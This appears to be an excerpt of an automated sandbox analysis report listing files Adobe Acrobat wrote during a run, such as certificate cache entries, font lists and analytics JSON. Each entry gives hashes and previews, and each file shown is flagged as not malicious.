Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7177881616921042
Encrypted:	false
SSDEEP:	3:kkFkll9LRltfllXlE/HT8kh+lhlXNNX8RolJuRdxLlGB9lQRYwpDdt:kKoeT8o+lzdNMa8RdWBwRd
MD5:	43D9D862EC11BE227C5E983589EAFFF2
SHA1:	C3219DEBE8BBE8EF9D49144262D8BE000A40A88F
SHA-256:	0DA2F5174C3F091D1E09695A0B8DCCED821FECBB207FA2F57B45B83CE0D3C4A6
SHA-512:	F96AEDAB21FB122EF470AD4CF5A6BE824647446BC1F4FE4DFBFEE94EFBC34B3791532F8B302ABF29EEF69CDC9D8BCC644C8D17A6870A0A1EFF85F022CEBF9D59
Malicious:	false
Preview:	p...... .........WK..c..(....................................................... ..........W.....o..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKRIL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:2iDImsLNkPlE99SNxAhUe/3
MD5:	D5FD1D45AF46EA241292E333C54B80D9
SHA1:	995649D979686E67C5BA0C6E12BA7FB0040E0423
SHA-256:	CD5D73949E9D899A5BCDE520DB1B447E03D41E9521993EEAF3731B597A6BDF6E
SHA-512:	133B7AA3F86EBC4D99A78C1197CC789777B6CAB2A83E76DEBC23DD7B377E621412702B6E9F5A43280F23C0BB71F10B708E44334D9A12955C3674CB9B6E23F041
Malicious:	false
Preview:	p...... ..........5.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7296

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7296

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.329724164148317
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgww4mPJ2vB3/dVlPIHAR0YwWRDoAvJM3g98kUwPeUkwRe9:YvXKX1LvR/ZwHArsGMbLUkee9
MD5:	09D34C033857BF5953D764DEF817211B
SHA1:	02D74F39C9D0472DDE636E0253C900B0BE60DCF1
SHA-256:	27EF25437A74C773B6D097C50313F63CDFC7DB181806B80410747CD0755D38EE
SHA-512:	1CA3FFB4071CF19697D031BB3B891CEF0D1BF75B1375758C3AAF89DB76F782BB3E0EA3D7BA123A6DA081E5EDFA388529F0F8B80A6CF654418523184047CA98F6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcd6560f-548c-4cf1-ac18-0827cd00182e","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746946427,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.263974025473034
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgww4mPJ2vB3/dVlPIHAR0YwWRDoAvJfBoTfXpnrPeUkwRe9:YvXKX1LvR/ZwHArsGWTfXcUkee9
MD5:	03481EF763BA1562BB9C534957ECEB66
SHA1:	359E412FC64A009A2C32409DA6682A7D59BA0F70
SHA-256:	B8058F5EA446886FA159BA9467C971D66A00FFA1DD58B94C982453F137E5D093
SHA-512:	246805BD4BC86C3806A6BB80AEA9298151FCBE257E1B1E8C389B8943D2C46CB1FD867AE844055741A479D853E3CE819BF23532C3EEB9C5CF542CAF8FFE706506
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcd6560f-548c-4cf1-ac18-0827cd00182e","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746946427,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.241095467015611
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgww4mPJ2vB3/dVlPIHAR0YwWRDoAvJfBD2G6UpnrPeUkwRe9:YvXKX1LvR/ZwHArsGR22cUkee9
MD5:	F967C081C741834808056FF86A5F33F6
SHA1:	6E68DA645A82AD5D2F87BFB18DCA5D0F91476218
SHA-256:	2024B26801C6FC114F0E8F0BFB43F86D1027BC0AEB6FD72200436628533D35C1
SHA-512:	79EC967F23447814A1031A9B8EDE013243DEF2372BBDCD604A8C54807503403234BF8D332F9EB0109814431710A96766610D297AB81E5BDF429985FC26F0914B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcd6560f-548c-4cf1-ac18-0827cd00182e","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746946427,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.30549238710874
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgww4mPJ2vB3/dVlPIHAR0YwWRDoAvJfPmwrPeUkwRe9:YvXKX1LvR/ZwHArsGH56Ukee9
MD5:	2B578F500ADE337AAACA69C1F54BCDB6
SHA1:	20A2F5EBC2EB36835934C3FE0BCD602C737B7A99
SHA-256:	F7C46FDD8B1146DEE985B83B3E42837C2C148379E86BC1DE2F6B08855D5F7FAB
SHA-512:	268A45A14A1228CAFB0B763E50BCAF4EA53E238EEB37CBD86709CA5B70B52C02AB4C9C7A2489259CD3FD12897DD38D3EB5760B6906EAD0C1EF40C1125D3B7D20
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcd6560f-548c-4cf1-ac18-0827cd00182e","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746946427,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6912884358736475
Encrypted:	false
SSDEEP:	24:Yv6XtJhZpLgE9cQx8LennAvzBvkn0RCmK8czOCCSW:YvUJhZhgy6SAFv5Ah8cv/W
MD5:	B76354039083CA972DAF1378D98B49BC
SHA1:	25D43FCA8770B2755111AB8FAC0C65FA3A8875FA
SHA-256:	1BE30E4B9397DA3063DC5E91F8E630A017FE5F3EFDF5BE2401763B3542AB61E5
SHA-512:	D5CF90F5532AC8E5524F2052A726188A52EE98A157007817BB8164339CB6596DB6EB4C9B1B60A1027BB1E7B6B12EAFED58EE41B7B9674E29CF2BF129CE7C788D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcd6560f-548c-4cf1-ac18-0827cd00182e","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746946427,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.253703815670689
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgww4mPJ2vB3/dVlPIHAR0YwWRDoAvJf8dPeUkwRe9:YvXKX1LvR/ZwHArsGU8Ukee9
MD5:	5094BE1D19FD51E9630F1BC1340406FF
SHA1:	9CD0835247E9BC623168EB4FD5A0B44DE48BF4C2
SHA-256:	095285C83205FB8BF5F129A8F6D8BAA87B6EAE42F812F954045AF6831AED0A6C
SHA-512:	74B4125A3F3683C3F834E31BF30A1A62F776EC90B5D9D76F166B32A1FF288A882D30C3EF6E1ED1EAE72A7447B68D47506539DA74F6E6364DB5B6294F5D4A892A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcd6560f-548c-4cf1-ac18-0827cd00182e","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746946427,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.252549431660153
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgww4mPJ2vB3/dVlPIHAR0YwWRDoAvJfQ1rPeUkwRe9:YvXKX1LvR/ZwHArsGY16Ukee9
MD5:	9D8A7F16F9EA90D6665E9B05BDE755FD
SHA1:	95F80CC794C4DC0B1C20D954A0E438502A6C4D49
SHA-256:	81801F8149F8A76C4CFB4DE1192C3FF2FED532E3B51E1DD9D5A029B6F6335366
SHA-512:	5EF91B056CF43F177171A57E7C89E651303BD0D1D39F8A2957B971310F648B4445A5DF687DD993F84235FBDF8C0C2248C68C5970979D48DEE9620AA1F7E7E86B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcd6560f-548c-4cf1-ac18-0827cd00182e","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746946427,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.269426705958489
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgww4mPJ2vB3/dVlPIHAR0YwWRDoAvJfFldPeUkwRe9:YvXKX1LvR/ZwHArsGz8Ukee9
MD5:	437D4930029793AB312B4677C6D2CDED
SHA1:	E6A4291FEA1F742FECC1E46183AAD6773FA1073C
SHA-256:	BF334329B73A4E61184751336A93518509A8AF235C74CFA47CF4464166B6EE29
SHA-512:	8A4338AFDFF443F71D1654C89BE0BAF69DD0EBF3FE0CE477964E4E03F3FDD83FD25553676179348AF91478EC2E5115F129651D7B9422C2ADF89A6566C4FC5784
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcd6560f-548c-4cf1-ac18-0827cd00182e","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746946427,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.284470552239365
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgww4mPJ2vB3/dVlPIHAR0YwWRDoAvJfzdPeUkwRe9:YvXKX1LvR/ZwHArsGb8Ukee9
MD5:	92928EC34EFFF8BC199BA118BE418D1F
SHA1:	569912DF8D5B9BEC351F6DA42046E029D74A0DF3
SHA-256:	6468B4EAA37DDE13F270EF3ACA82E04972884ED7CB4E785A096EA5B828ECA064
SHA-512:	2C28E244DD34F6EA7E6756C3A9DCDF1C5FAC06E1BF586D463F118B7DDD529311221268696687A3CED1938F200BC08041321A6EE1A20968F5D6DC62FAA2213891
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcd6560f-548c-4cf1-ac18-0827cd00182e","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746946427,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.264096053367635
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgww4mPJ2vB3/dVlPIHAR0YwWRDoAvJfYdPeUkwRe9:YvXKX1LvR/ZwHArsGg8Ukee9
MD5:	6C8A556C675A869186AB671540D6A8DF
SHA1:	61075669712BC1B0BDB1697A08202EE05339C2C6
SHA-256:	23C5E3B6BD2DC17FBC3FBECCE5C49B4C785F3BCEDE2884E80483EAA3F911CEF5
